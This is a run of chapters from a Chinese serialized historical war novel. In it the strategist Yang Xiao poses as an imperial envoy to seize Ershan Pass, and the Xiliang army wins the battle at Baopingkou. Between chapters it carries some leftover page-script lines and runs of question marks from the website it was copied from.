从始至终在西梁王的心里一直是不太愿意面对这件事情的,他受哥哥临终嘱托,一心辅佐自己的这个侄儿,直到他能坐稳皇位。现在,当他看到自己一心辅佐的侄儿亲自下的圣旨,亲笔写的密信,想要自己的命时,他的心里真的是如刀绞般的疼痛。他本来还期望着他能让大周中兴,能救百姓于水火,能重新让四夷臣俯……。 “这样一个狼心狗肺的昏君又怎么能做到这些!”西梁王彻底的失望了,也彻底的坚定了他要“反”的绝心。 欲知后事如何,且听下回分解! ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十二回 智取天堑 智取天堑 上一回说到杨笑等人杀掉了御使,西梁王看到圣旨后更加坚定了其造反的决心。 趁着打扫战场的间隙,杨笑等人抓紧时间谋划下一步的计划。 御使被截后沿途关卡不能及时收到皇帝传出的旨意,接下来他们的路应该会好走许多。亲卫营也有许多人因为伤病不能继续战斗下去,应该给他们找一个合适的藏身之所来养伤,而眼前的伏牛岭就是一个再合适不过的地方。于是刘统领安排了人手,保护受伤的胞泽到伏牛岭深处隐藏踪迹,等养好伤后再想办法返回西梁。 接下来对于西梁王要起兵杀入圣京城这件事来说,首当其冲的也是重中之重的,就是如何夺取二山关。现在,亲卫营能战者还剩百余人,要混过二山关回到西梁并不难,难的是如何拿下这座竖立在西梁和圣京城之间的天堑。 是先想办法回到西梁后再举兵强攻?二山关建造时就是为了防止关外的异族入侵,山高关雄,天堑两个字可不是白叫的。再者说,这么多年来朝庭一直都把二山关牢牢地掌握在手中,是不是还有一层防着关外手握重兵的藩王的意思……这件事还真不好说。不管怎么说,若要强攻二山关的话能不能拿下先不说,就算是能攻下来,要付出的代价必定不是一般的大,到时候还没有往二山关外迈一步就先元气大伤,这件事是万万不能接受的。 既然强攻不行,那么智取呢?智取的话又该怎么智取呢?杨笑一时间陷入了沉思……。就在杨笑冥思苦想而不得其法的时候,无意中眼角的余光瞥见了那具躺在地上尸体,杨笑忽然间计上心来! 二山关。一关飞架南北,一河一路从关下通过,历朝历代这里都是东西来往的交通要道,更是自古以来的兵家必争之地,扼守着大周王朝的咽喉。正是因为它的重要性,所以周王朝的历代帝王都对二山关十分的重视,那怕是关外的西梁境已经被周王朝占据了三百余年,对二山关的掌控却一刻也没有松懈过。 此时的二山关还是如往日一般人头攒动,车水马龙,只是无形中已经有一股紧张的氛围笼罩在整座二山关上。 这些天来二山关对于来往车马行人的检查比往常严格了许多,等候过关的队伍排的更长了。傍晚时从圣京的方向来了一队人马,前面的人全部都骑着高头大马,为首一人的身上更是穿着华丽的官服。后面跟着的五六十个杂役每个人都牵了一辆马车,车上装了许多的大坛子,这些坛子上都贴着一个显眼的“赏”字。队伍里一面华美的旗帜明确的向周围的人传达着一个信号:肃静!回避!这可是御使! 有御使突然驾临,守卫的士兵早早的就把情况禀告给了守关大将军史义祧。“祧”有承继之意,这个名字的意思是希望他能够继承家族的忠义之风,而史义祧也正如家族期望的一样,在军中乃是有名的忠义之士。 所谓御使,那都是奉了圣旨代表皇帝到地方巡视办差的官员。关于这一点还有个专门的说法,叫作“代天巡视”。 听说有御使突然驾临,史义祧立刻摆开仪仗迎接。 迎接仪式完毕,双方场面式的客道上几句后史义祧开口问道:“史某不才,朝中的大小官员还是认识一些的,只是……只是这位御使大人却面生的很,不知御史大人在朝中高居何处啊?” 年轻的御使听到史义祧的话后回道:“大将军对在下面生并不稀奇,在下也是新入朝中,本来这御使的差事是轮不着在下的,只是这一次事出紧急,朝中的同僚们都难以分身,再加上又是一桩苦差事,所以才让在下担了这御使之职。” ?“御使大人过谦了,年纪轻轻就能在朝中供职,如今又能领了一任御使,大人真乃才俊,前途无量啊!哈哈哈哈……。”史义祧恭维道道。 常言道:宰相的门丁七品官。虽然说史义祧的官阶比较大,但奈不上人家是京官,随时都能上达天听,所以没必要的话史义祧也不愿意惹人家的不痛快。 “大将军过奖了,大将军镇守这天下雄关才是居功至伟,日后说不上还要仰仗大将军啊!”那年轻御使也恭维道。 ?两人互相恭维一番后史义祧将御使迎入殿内分次落座。“御使大人前来可是为了那件要紧的事?”史义祧颇为神秘的开口问道。 “在下此行专为代陛下赏赐大将军而来。”御使回道。 史义祧又问道:“赏赐?史某什么都没做又何来赏赐一说呢?……难道那件要紧的事已经……?” 他们口中说的要紧的事情自然就是关于西梁王的事情了。 年轻的御使翘起大拇指恭维道:“大将军果然料事如神!那西梁王大逆不道已然在玉樟郡境内被擒,而在下也因此奉旨中途改为犒赏大将军而来。” “哦?这可真是一个大大的好消息呀!只是史某在这件事上什么忙也没帮上,这犒赏……有些……受之有愧呀!”史义祧故作姿态道。 那年轻御使不以为意道:“大将军真是过谦了,单是坐镇此处使西梁宵小不敢妄为就已是大功一件,这赏赐大将军自然当得!” 史义祧被恭维的面露喜色却还是故作谦虚道:“哪里,哪里……。不过说真的,这些天来西梁军自始至终还真是一点动静都没有哇!” 那御使紧接着夸道:“这正是拜大将军的神威所赐啊!” 这一句夸奖夸的恰到好处,真是夸进了史义祧的心里,夸的他心花怒放,哈哈大笑起来。 那御使接着又说道:“在下此次奉陛下旨意特为大将军及众将士带来御赐的美酒,今晚还望大将军及众将士都能开怀畅饮以不负陛下的一片心意。”说着站起身来拿出一份圣旨正色道:“二山关众将士接旨!” 史义祧及在场的二山关众将领立刻上前口呼万岁俯身接旨。 御使宣读完旨意后将史义祧扶起来:“大将军,今晚不醉不归!” 史义祧也爽朗道:“好!不醉不归!”接着他转向众人传令道:“来人!传令下去,今晚大摆筵席,众将士开怀畅饮!” 殿内众将齐呼“得令!” 当晚,二山关灯火通明,大摆筵席,二山关的大小将领们齐聚一堂,推杯换盏,好不热闹。就连守关的普通士兵,每个人也都分到了三大碗御酒。 就在大殿内的众人大口朵颐之时,有几个人来到了城门前。当值的士兵立刻警觉道:“什么人?” 来人一边上前一边陪笑道:“几位兄弟不用紧张,我们是来为当值的兄弟们送御酒的。” “哦?我们也有份儿?”当值的士兵有些意外道。 来人拱手道:“陛下恩赐,大将军又有令,御使大人特别交待要让每一位兄弟都能喝得上御酒,几位兄弟自然也是都有份的。”说着就把几个酒坛递到了当值的士兵手里。 “这……这当值之时饮酒……这合适吗?”士兵们有些为难。 来人立刻道:“合适!怎么不合适了?陛下恩典,大将军又有令,当然合适了!再说了,这可是御赐的美酒,一辈子又有几个人能喝上一回?” “嘿嘿嘿……老哥言之有理。那……那我们就不客气了?”几个人高兴道。 那人也高兴道:“喝喝喝,几位兄弟畅开了喝!我们也就不打扰几位了,还要去给别处的兄弟们送酒呢。” 几个士兵把来人送走后都高兴的钻进一旁的耳洞里喝起了酒来。……。 就在二山关的守军全都沉醉在畅饮美酒的欢乐氛围中时,城门一侧的耳洞里一群值夜的士兵早已倒成一片,几个黑影闪入到城门洞内……。 大殿内斛光交错,众将领一个个全都醉眼迷离的望着眼前的舞姬们优美而迷人的舞姿。就在这时一个刚才出门小解的将领推开门跌跌撞撞的跑了进来,一脸的惊慌失措。众人的目光全都沉醉在歌舞中,跟本没有几个人注意到他。那名将领一进门就东倒西歪地冲到了正在扭动着肢体的舞姬们中间,一不小心还摔了一跤,差点钻到一个舞姬的两腿之间。殿内的众人见了全都指着那人哈哈大笑起来,仿佛见到了这世上最可笑的一幕。 那名将领也顾不上丢人,爬在地上大声的喊道:“大事不好了!大将军,大事不好了!”众人这才注意到那人的神色。 史义祧挥手止住舞乐沉声问道:“什么事情大惊小怪的?” 那将领带着哭腔说道:“值夜的人全都倒地不起,正有大批的西梁军拥入关内!” 众人闻言全都大惊失色,史义祧更是惊立当场:“什么!?” ?“西梁军杀进来了!”那将领重复道。 “哐当”一声,听到这个消息史义祧一下子有些头脑发懵,手里的酒杯也掉在地上摔了个粉碎。忽然,他又一下子像是想到了什么似的,猛的转头看向一旁的御使:“你!你到底是谁?”史义祧厉声质问道。 那年轻御使闻言面不改色,哈哈大笑着将手里的酒杯不慌不忙的放下,又拿起桌子上的一条毛巾在脸上一抹,毛巾后面露出来的是另一幅面孔。 那人起身道:“我乃西梁杨笑!” 正是乔装打扮后改变了面貌的杨笑。 史义祧在见到那御使的真正面貌时就已经知道了自己面前的人是谁。“是你!”史义祧说话就要去拔腰间的佩剑,可刚一发力,剑拨到一半时突然就觉得自己的眼前一阵发黑,天旋地转间双腿一软就跌坐在座位上。 事已至此,一切都已经晚了。 一群西梁兵闯入了大殿内。杨笑把手里的毛巾随意一丢命令道:“全部拿下。” 就这样,杨笑不费一兵一卒就拿下了对西梁和大周朝廷来说都万分重要的二山关。 夺取二山关后,西梁军便可直取圣京城,杨笑又将如何披荆斩棘助西梁王夺取天下?欲知后事如何,且听下回分解! ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十三回 兵出二山关 兵出二山关 上一回说到杨笑露出真面目后西梁军就闯入了大殿内,在场的二山关守军一个不落的全部被俘。 原来,那日成功截杀御使后摆在西梁王面前最大的难题就是如何通关二山关了。二山关对双方的重要性不言而喻,不论是现时间迫在眉睫的返回西梁,还是日后的挥师东进,都必须越过二山关这道天堑。就在杨笑冥思苦想而不得其法之时,无意间看到了御使的尸首,这才有了这场计谋。 杨笑先让刘统勋持西梁王的信物乔装打扮混过二山关到附近的州府暗中调集兵马,而自己则冒充御使钦差到二山关内假传圣旨,等到了约定的时间便伺机打开城门放西梁军入关。 将二山关完全掌控之后杨笑立刻排人迎接西梁王入关。西梁王接到消息后仰天长笑:“吾儿真乃福将也!” 西梁王驾临二山关,杨笑率众相迎,众将士在关前高呼:“恭迎吾王!”如浪潮般的呼声在群山间回荡。今天无疑是西梁王有生以来最高兴的一天,只见他环视在场众人抬起双手气宇轩昂道:“众将士请起!令日一役众将士皆有功劳,本王当论功行赏!”众人谢恩山呼千岁!激荡澎湃的声音再次在峡谷中回荡经久不息。 披头散发的史义祧被押到了西梁王的面前。西梁王居高临下冷冷的俯视着他,那冰冷的眼神盯的史义祧心里直发慌:“史将军,别来无恙啊?” 史义祧跪在西梁王的脚下,被两名士兵按住双肩,一张脸几乎要贴在地上,他努力的抬头想要看到西梁王的面孔,史义祧低声下气的求饶道:“末将见过王爷,末将……末将愿追随王爷,愿为王爷效犬马之劳,求……求王爷饶末将一命!” 西梁王嗤笑道:“饶你?若今日被擒的是本王,你史大将军会放本王平安过关吗?” 史义祧继续求饶道:“末将一直仰慕王爷的风彩,若早知王爷要起兵,必定会第一时间献上城关,以为王爷尽绵薄之力……。” 西梁王不等他说完就笑出了声来,但这笑声听在史义祧的耳中却怎么听怎么像是为他敲响的丧钟。西梁王从袖口里抽出一封信来丢到史义祧的面前:“若不是早先一步知道了一些不该知道的事情,本王说不定还真就信了你了。” 史义祧看到那封信后立刻变的面如死灰。原来这件事从始至终史义祧都有出谋划策,参与其中。 西梁王面色一变,指着史义祧厉声道:“饶了你便对不起一路上护送本王而丢掉性命的西梁将士们,饶了你便对不起我西梁万千子民!饶了你便对不起我大周的天下!今日,即落在我的手中,正好拿你祭旗!”西梁王说完后便转身头也不回的向城楼上走去。 史义祧闻言嚎嚎大哭:“王爷,王爷饶命啊!王爷……史义祧愿意给您当牛做马呀王爷……。” 二山关长长的台阶盘山而建,西梁王拾阶而上。每上一步台阶西梁王就会回忆起过往的一幕幕。 幼年时与兄长在一起一天天的长大,还记得那时候的自己受到欺负后只会哭鼻子抹泪;不论发生什么事都只会低头站在那里不知道为自己辨解;还记得每每都是哥哥站在自己身前保护自己……。到后来兄弟俩都长大了,哥哥还总是鼓励自己:男子汉就是要抬起头勇往直前,绝不能落了我皇家的威严。再后来哥哥继承了皇位,自己则主动请求驻守西梁,守护大周的门户。临行前皇兄还勉励自己:为兄是大周的天,以后你就是西梁的天,守护好西梁就是守护好大周的天下。……一直回忆到前些天的亡命之路。 每向上走一步西梁王的心境就会发生一丝改变,从无欲无求到一腔热血,从心如死灰到为了黎民天下。 再长的台阶也终会有蹬顶的时候,再多的过往也都会如云烟一般慢慢消散。西梁王最终还是蹬上了二山关的城墙,站在城楼前的台阶上西梁王祭起王旗,城下随着一个“斩”字落下史义祧的人头应声落地……。 二山关的变故很快就传遍了天下,传到了皇帝的耳朵里。皇帝在大殿内急的团团乱转,在他看来天底下再没有比这再坏的消息了。这时一个宦官跑进大殿,皇帝立刻上前抓住宦官的双肩急切的问道:“来了没有?仙师来了没有?” 宦官被抓的两肩生疼,颤颤惊惊的说道:“仙…仙师…仙师不见了。” 皇帝闻言如遭五雷轰顶,喃喃自语道:“这可怎么办?这回可怎么办?” 殿内百官中走出一人躬身道:“陛下!陛下不必惊慌,如今当务之急乃是速速调集兵马,层层阻截乱军,同时召集各路诸侯藩王进京勤王,共讨逆贼!”皇帝这才有些回过神儿来:“对……呃对!速速召集各路诸侯藩王进京勤王!快!……快!” 若是摆明造反的话,难免会落人口实,将来史官在史册上记一笔的话,于西梁王的名声上终归是不好听。要是以清君侧的名义出兵的话,听起来是不是就很有正义感呢?至于清完君侧之后的事吗?……那都不重要了。于是乎,二山关上升起了清君侧的大旗。 此次西梁军精锐尽出。半月之后,约六万先头大军已在二山关外集结完毕,只待西梁王一声令下便可直取圣京城。西梁王坐阵二山关,任命杨笑为先锋,即日起率六万大军出关,荡平沿途一切阻碍。杨笑领命点齐兵马,西梁王一声令下,兵出二山关! 西梁王兵出二山关,杨笑领命先锋将军,到底杨笑会如何助西梁王夺取天下?欲知后事如何,且听下回分解! ……………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………… window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十四回 大战宝瓶口(一) 大战宝瓶口 由于西梁境的军队主要的防御对像是北面的狄绒族以及南面的藩族,所以大多数军队的驻扎地都位于边境地区,要赶到二山关确实需要一点时间。这样一来朝庭的反应速度虽然慢了些,但依然赶在西梁军之前招集了不少的军队占居有利位置摆开了层层的防御。????????? 二山关前,几十里长的峡谷越往东就越开阔,不过到了峡谷的尽头时原本十多里宽的峡谷又猛然收紧,形成了一个如同瓶嘴儿一样的地势,这个地方被称为宝瓶口。 宝瓶口宽有二三里的样子,只不过单是朝天河的河道就占去了一半的地方。在谷口的两侧是两道小山包组成的山梁,山势虽然比较缓和并不能形成在效的阻隔,但这里依然是二山关内的第一道天然屏障,周王朝在这里也部署了一些防御。 杨笑率领大军来到宝瓶口时已经有两万多的兵马在这里等着杨笑了。 堵在宝瓶口的是蓬山候吕奇亮。 在杨笑身旁的是素有百事灵通之称的李伯通。李伯通见那吕奇亮舍了有利地形不用,却在峡谷开阔处排开兵马等待西梁大军,便笑道:“都说吕奇亮排兵布阵颇为讲究,更以擅长马战而闻名,令日一见……看来是徒有其名啊!” 在杨笑另一边的是漳州刺史马致远。这位马将军虽是布衣出身,却颇有几分才情,更是一员智勇双全的能将,增写有“布衣中,问英雄。王图霸业成何用!禾黍高低六代宫,楸梧远近千官冢。一场恶梦。”等名篇美句。听到李伯通的话后,马致远呵呵笑道:“兴许是人家自信有一些能耐,想要与我西梁大军硬碰上一碰呢?” 还真是被这两个人给说中了。吕奇亮对于据险防守不屑一顾,占据宝瓶口后便命令大队人马前出,在宝瓶口内地域宽阔处摆开了阵势。 “天下人都说西梁军厉害,我吕奇亮却偏不信,今天在这宝瓶口就要与它西梁军碰上一碰!”吕奇亮高坐马背志得意满的说道。其身旁之人也跟着连番奉承,附和之声中众人不时的暴发出阵阵笑声,仿佛已经看到了西梁军被他们打的溃不成军,自己一马当先立下了盖世奇功的一幕。 杨笑看到吕奇亮的兵马有险不守,却偏要在峡谷内摆开阵势等着自己,这分明就是个糊涂蛋才能干出来的事情,不免觉得有些好笑:“敌军弃险不守,此役我军已先胜三分!” 待双方相距一射之地时,“停!”一声令下,西梁军中令旗转换,鼓点变动,大军立刻在原地站定。“守!”位于最前排的重甲兵将手中盾牌“哐!”的一声立于地面,立刻就有一根根长枪从盾牌的间隙层层刺出,把个盾牌阵立时防守的如同刺猬一般。 西梁大军齐喝一声,声势浩大,威势震天!军令一出大军整齐划一,毫不拖泥带水,万千人的动作就仿佛由一人完成。此非百练之师不可为!非百战之师不可为! 吕奇亮确实是只会纸上谈兵,也确实是自信过了头,但他并不是傻,也并不是眼瞎,在看到眼前的这一幕后他的心里已然没有了方才的志得意满,而是变的面色凝重起来。 吕奇亮首先下令发起了冲锋。冲在最前方的自然是他最引以为傲的重甲骑兵。这可是他用了大半家低儿,耗费心血培养出来的一柄尖刀利刃。今天这柄利刃就要在这里出鞘来展露它的锋芒,他要用这柄利刃将西梁军的防御撕出一条口子来,同时也要把西梁军的赫赫威名给撕出一道口子来。 真正的两军对战,哪有什么上来后双方先对骂一场,先是你派一个人出来叫阵,说什么:“谁敢与我决一死战!”然后他又派一个人上来应战,叫一声。“拿命来!”两个人捉对撕杀。双方对打一番,打赢的全场通吃,打输的就要溃不成军,被人家撵着屁股揍。其实跟本就没有这回事!那些都是书上写的,说书先生拿来骗几个口水钱的。 真实的两军对战,那都是真刀真枪真阵势,都是见血见肉见生死的战阵撕杀。在这种阵仗里,个人的勇武跟本就算不上什么,在千军万马的冲锋陷阵里讲究的是步伐整齐的战阵配合。你一个人就算再厉害,在这儿,充其量也就是往大江怒涛之中丢了一颗小石子儿……溅不出多大的浪花来。 见敌方骑兵率先发起冲锋,杨笑抬手往身后打了个手势。传令兵摆动手中令旗:“射!”一声令下,战鼓擂动,前排的西梁军立刻低头俯身,单膝跪地蹲下身来。鼓声再变,“嗡”的一声闷响,众人只觉得头顶的天空随之一暗。破空声响起时,万千羽箭如同是遮天蔽日的蝗虫一般飞向冲来的敌军。 这一切说起来费劲,其实也就是一呼一吸喘口气的功夫箭就已经射出去了。 重甲骑兵正是因为有坚盔厚甲才叫重甲骑兵的,但再厚重的盔甲也有薄弱之处,再加上双方的距离其实并没有多远,而西梁军配的又都是强弓硬弩,所以,在面对那些密密麻麻激射而来的箭矢时,那些冲上来的骑兵们难免会有一片人仰马翻,发出一阵阵的惨叫声。 两波箭雨过后,眼瞅着吕奇亮的骑兵已经冲到了近前。对付骑兵最好的办法同样是骑兵。这时西梁军中鼓声再变,盾阵立刻分出一条条通道来,西梁的重甲骑兵从通道内奔涌而出。 双方的骑兵对撞在一正,喊杀声此起彼伏。与骑兵一起冲出阵营的还有另外两队人马,这些人个个身着轻甲,手持长槊。骑兵们在正面冲撞,这两队甲士则从两侧包抄。这些手持长槊的甲士在与对方骑兵方撕杀时并不与敌军硬碰硬,而是只攻击没有盔甲保护的马腿马腹等处。用手中的兵器或刺或砍,一击之后不论见功于否立刻后退,若是敌方骑兵来追,立刻就有其他的甲士从旁边或是后方前来袭杀支援。这些甲士们配合起来十分的娴熟默契,一旦敌军的战马受伤倒地,摔下马的骑兵受身上的重甲拖累就只能任人宰割了。 骑兵的冲刺速度是非常快的,这就导致冲在前面的骑兵与跟在后面的步兵脱了节。当双方的骑兵对撞在一起的时候,那些步兵还远远的被吊在后面奋力的奔跑着。这时又有一阵箭雨从天而降,正好射在那些步兵的头顶上,立时惨叫声连连。几波箭雨过后这些步兵已然死伤惨重。 ???????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十五回 大战宝瓶口(二) 自己的重甲骑兵与西梁军胶着在一起,又受到两侧长槊甲士的夹击,后方的步军未能及时跟上,形式自然不容乐观,要是再这样下去,自己的这点家低就得全部交待在这儿了。眼见己方败局已定,吕奇亮赶紧命令鸣金收兵。????? 若是训练有素的军队,遇到这种冲锋受挫的情况,在前方人马向后撤退时,后方的人马就会给于相应的掩护。可是大周朝庭腐朽无能,文武百官只顾享乐搜刮,军队缺乏训练,再加上吕奇亮的两万人马本来就是在应急的情况下临时拼凑起来的,这样的军队要是能有像样的战斗力才真的是见鬼了。 一见前方溃退,后面的人马也立刻乱了阵脚。掩护?谁要给你掩护?老子先逃命才是最要紧的事。一处乱,处处乱,任凭吕奇亮在马上如何喝止都不管用。 就在这时候,“嗖嗖!”两声轻响,两只箭矢分别擦着吕奇亮的耳边和肩膀飞过,一名士兵在他面前当场就被射了个透心凉。吕奇亮活这么大还从来没有过离死亡这么近的体验,这下子他自己也慌了神儿,连忙调转马头捂着脑袋逃命而去。 西梁军乘胜追击,又斩杀敌军无数。 吕奇亮的军队一直逃到了宝瓶口内才好不容易稳住了阵脚。 宝瓶口内道路狭窄,不利于大批兵马展开,西梁军的兵力优势在这里得不到发挥。吕奇亮又在这里布置了许多拒马桩,再加上两侧小山上又有弓箭手支援,西梁军的几次冲锋全都无功而返。 吕奇亮见刚才还威风八面,把自己打的落荒而逃的西梁军,这会儿在自己的手里吃了瘪,就有些得意忘形起来。吕奇亮大笑道:“哈哈哈哈……西梁军不过尔尔!哈哈哈……。” 西梁军中。 马致远捋着胡须看着再次从宝瓶口退回来的人马向李伯通说道:“都说李兄神机妙算,不知李兄觉得武将军那边还需要多久呢?” 李伯通抬头看看天色回道:“神机妙算实不敢当啊!不过,既然马兄问了,那么李某就斗胆一测。”说完低头在心里盘算一阵子后说道:“嗯……在下觉得……再有大约一盏茶的功夫应该就会有消息传来了。” 马致远“哦”了一声问道:“一盏茶的功夫?李兄要不要打个赌呢?” 李伯通又左右看看笑道:“这漫天野地里天寒风大,说不定要两盏茶的时间。” 马致远闻言哈哈一笑:“哈哈哈……好好好,这漫天野地里的,茶水确实是凉的有些快,就依你,两盏茶,两盏茶。” 李伯通问道:“不知马兄想要赌什么呢?李某可是清贫的很,赌钱的话,那在下就不能奉配喽!” 马致远听了李伯通的话说道:“诶!不赌钱。我听说京城茗香居里的茶味道不错,就赌那儿的一壶茶吧。” 李伯通想了想点头道:“好!一壶茶就一壶茶。” 茗香居乃是圣京城里一个不为大众所知的一个去处。没有人知道这座园林的主人是谁,只是据说是一位背景极其深厚大人物。能在那里面喝上一杯茶的,不是达官显贵,就是世家豪门,再不济也是富甲一方的富商巨贾。总之就是没权没钱进不来。这种地方的一壶茶可想而知了。 李伯通虽然没听说过茗香居的名号,但也知道一定不是什么小茶馆,之所以敢答应他,是因为李伯通觉得一壶茶而已,再贵它又能贵到哪儿去呢?不过这一次他怕是要被马致远给坑惨喽! 正在观察前方军情的杨笑听到两个人在自己身后有说有笑的,还打起了赌,于是回头笑问道:“二位将军好兴致呀!不如杨笑来做个见证人,到时候也能沾沾二位的光。” 赌约成立。 虽说是在战场之上,整套的文雅茶具不敢说有,但弄一壶茶水还是不难的。于是很快的一壶茶就端到了三个人的面前,三个人真就各自下马围坐在一起,一边喝茶一边聊起天来。 正置战事胶着之时,三个人怎么就有这份闲心喝起茶来了呢?他们口中的武将军又是谁呢? 二山关内的这条峡谷就好像从天上落入人间的一只净瓶,潮天河恰似一条从瓶口里倾泻而出的天河,而位于瓶口处的一座小城就好比是从宝瓶里滚落出来的一颗明珠。 宝珠城,是位于宝瓶口外的一座县城。对于进出二山关的客商们来说,这里是一个十分重要的集散地。不管是临时歇脚还是补给物资,也不管是转运货物还是交流信息,宝珠城都是不二之选。往来云集的客商们也给这座小城带来了持续千年的繁荣。 自那日二山关突发变故,原先准备过关的大批客商一下子陷入了混乱之中。宝瓶口外的宝珠城就成了这些客商们临时避难的第一选择。客商们纷纷涌入宝珠城里,而这里面就有杨笑安排的一批西梁军。 杨笑他们在计划夺取二山关的时候就已经想好将来要如何拿下宝瓶口,而那些乔装打扮后趁乱混入城里的西梁军就是关键。 早在双方正面对战的前一夜,杨笑就按照李、马二人的计谋,派定州城刺史武俊山带了一支人马,在夜色的掩护下翻山越岭远远的绕过宝瓶口,直扑宝珠城而去。 武俊山,名字里带着一个“俊”字,但人长的……就有点对不住这个字了。长的五大三粗不说,身上的皮也是又黑又糙,茅草垛似的大胡子,扫帚眉,一双眼珠子凸在外面活像两只牛眼。李伯通和马致远都是文武双全的将领,而这武俊山就是个活脱脱的莽撞武夫。此人的战力在西梁一众武将之中那可是排得上号的,让他到宝瓶口守军的后方去横冲直撞,真是再合适不过了。 武俊山率领人马按照杨笑定下的计划一路绕到了宝珠城的北门。当城楼上的守军看清楚是西梁军杀来的时候,一时间有些慌了神儿。 “他们不是在宝瓶口打架吗?要来也是先到南门呀,怎么绕到这里来了?”看守城门的小头目有点想不明白了。就在他们正要关闭城门的时候,从城里突然窜出来百十号人攻上了城楼。城上的守军被里应外合的西梁军打了个措手不及,很快城门就被拿下了。 武俊山率领人马一举拿下了宝珠城的消息传到吕奇亮耳中的时候,吕奇亮还在宝瓶口向西梁军叫嚣不已呢。直到听说被人截了后路他才反应过来,原来西梁军的一次次冲锋全都是为了吸引他注意力的佯攻。 而这时候杨笑等人的茶也喝完了。马致远望了望宝瓶口的方向拿着空空的茶壶对李伯通说道:“李兄,这算是马某赢了吧?”李伯通无话可说,当场认了输。结果李伯通刚一认输就从前方传来消息:“敌军突然阵容大乱。”马致远听到这个消息后拿着茶壶哈哈大笑起来,而李伯通脸上的表情可就比吞了一只苍蝇般难看了。 事到如今,吕奇亮除了骂几声西梁军阴险狡诈外他还能有什么为法呢?兵败如山倒,除了被西梁军撵着屁股打之外,还被武俊山杀过来堵住了退路。于是在西梁军的两面夹击下,朝庭的兵马四散而逃,有被斩杀当场的,有跳入朝天河里淹死的,当然更多的还是被西梁军生擒活捉了。 当吕奇亮被捉住时,这位昔日里锦衣玉食,享尽了人间富贵的蓬山候正扮作逃难的灾民,想要蒙混过关。于是吕大将军的脑袋就被首战告捷的西梁军拿来祭旗了。 欲知后事如何,且听下回分解! ???????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十六回 约法三章 约法三章 战后的宝瓶口,地上躺满了尸体。这些尸体绝大多数都是朝庭的士卒,还有许多受了伤的士卒在那里哀嚎不已。杨笑走在战场上,跨过一具具尸体,他也是第一次见到这么多的死人,心里难免有些触动。 一名受了伤的西梁老卒坐在地上整理了一下腿上包伤口的纱布,正要努力的站起身来,杨笑连忙上前扶了他一把。那老卒抬起头看到是一名年轻的将军扶起了自己,这名已然人到中年又受了伤的西梁老卒立刻就要下跪行礼。杨笑又怎么忍心让他真的跪下去,他连忙扶住了那位老卒:“老哥有伤在身无需多礼。” 老卒听到杨笑的话后怔怔的看着杨笑不知道该怎么办。这也不怪这名老卒一时有些不知所措,而是西梁军中有规矩,下级见到上级必须见礼。一旁的马致远对那名老卒和言道:“杨将军既然这么说了你照着做就是了。”那老卒目光中闪烁着感激之色对杨笑再三至谢。 杨笑看着那老卒把一杆长枪当做拐杖,拄着它一瘸一拐离去的背影,他开口道:“你去传令,今后凡是受伤的将士,不论伤情轻重都无需见礼。”一名负责传递军令的士卒口称“得令”转身离去。 这时两个士卒抬着一幅担架路过杨笑身边,见到杨笑后低头躬身行礼,杨笑走上前掀开担架上的白布。担架上躺着的是一名年轻的西梁士卒,被利箭射穿了喉咙而死。杨笑把白布轻轻的盖好后叮嘱道:“一定要好生安葬。”抬担架的士兵答应一声后离开了。 杨笑又传令道:“把伤亡将士的名单抄录一份送到我的府上,我要为他们尽一份心意。”另一个传令军卒得令离开。 李伯通开口道:“杨将军真是宅心仁厚呀!战场之上哪里有不死人的。” 杨笑叹了口气摇头道:“我把将士们领出家门的头一天就让他们丢了性命,这实在是我的一份罪过,虽说王府会照例为他们的家人送去抚恤钱,但我个人能尽一点心意的还是尽一点心意吧,也算是为自己赎了一分罪。”杨笑望着满地的尸体又说道:“这些也都是我大周的子民,把他们也都好生安葬了吧。” 李伯通见杨笑如此仁义深感敬佩,他拱手道:“杨将军如此大义,我大军所到之处必定所向披靡。” 杨笑进入宝珠城的时候,城里正是一片混乱。虽说夺取宝珠城并没发生什么大的混战,但街上依然被弄的一片狼藉,到处都是城里的百姓们在慌乱中遗落下的物品,有几处地方还升起了冲天的黑色烟柱。 城里的百姓们,还有许多滞留在这里的客商们全都惶惶不安,不知道该何去何从,生怕有莫名的祸事降临到自己的身上。杨笑一路从街上走过,偶尔可以发现有人透过门窗上的缝隙向外偷偷的打量着这些西梁军。那缝隙后的眼神里充满了恐惧与好奇。 一个六七岁的孩童,可能是家里的大人们一时间没有看住,让他独自一人跑出了家门。那孩童跑到大街上,从地上捡起一只风车后转身就往回跑。 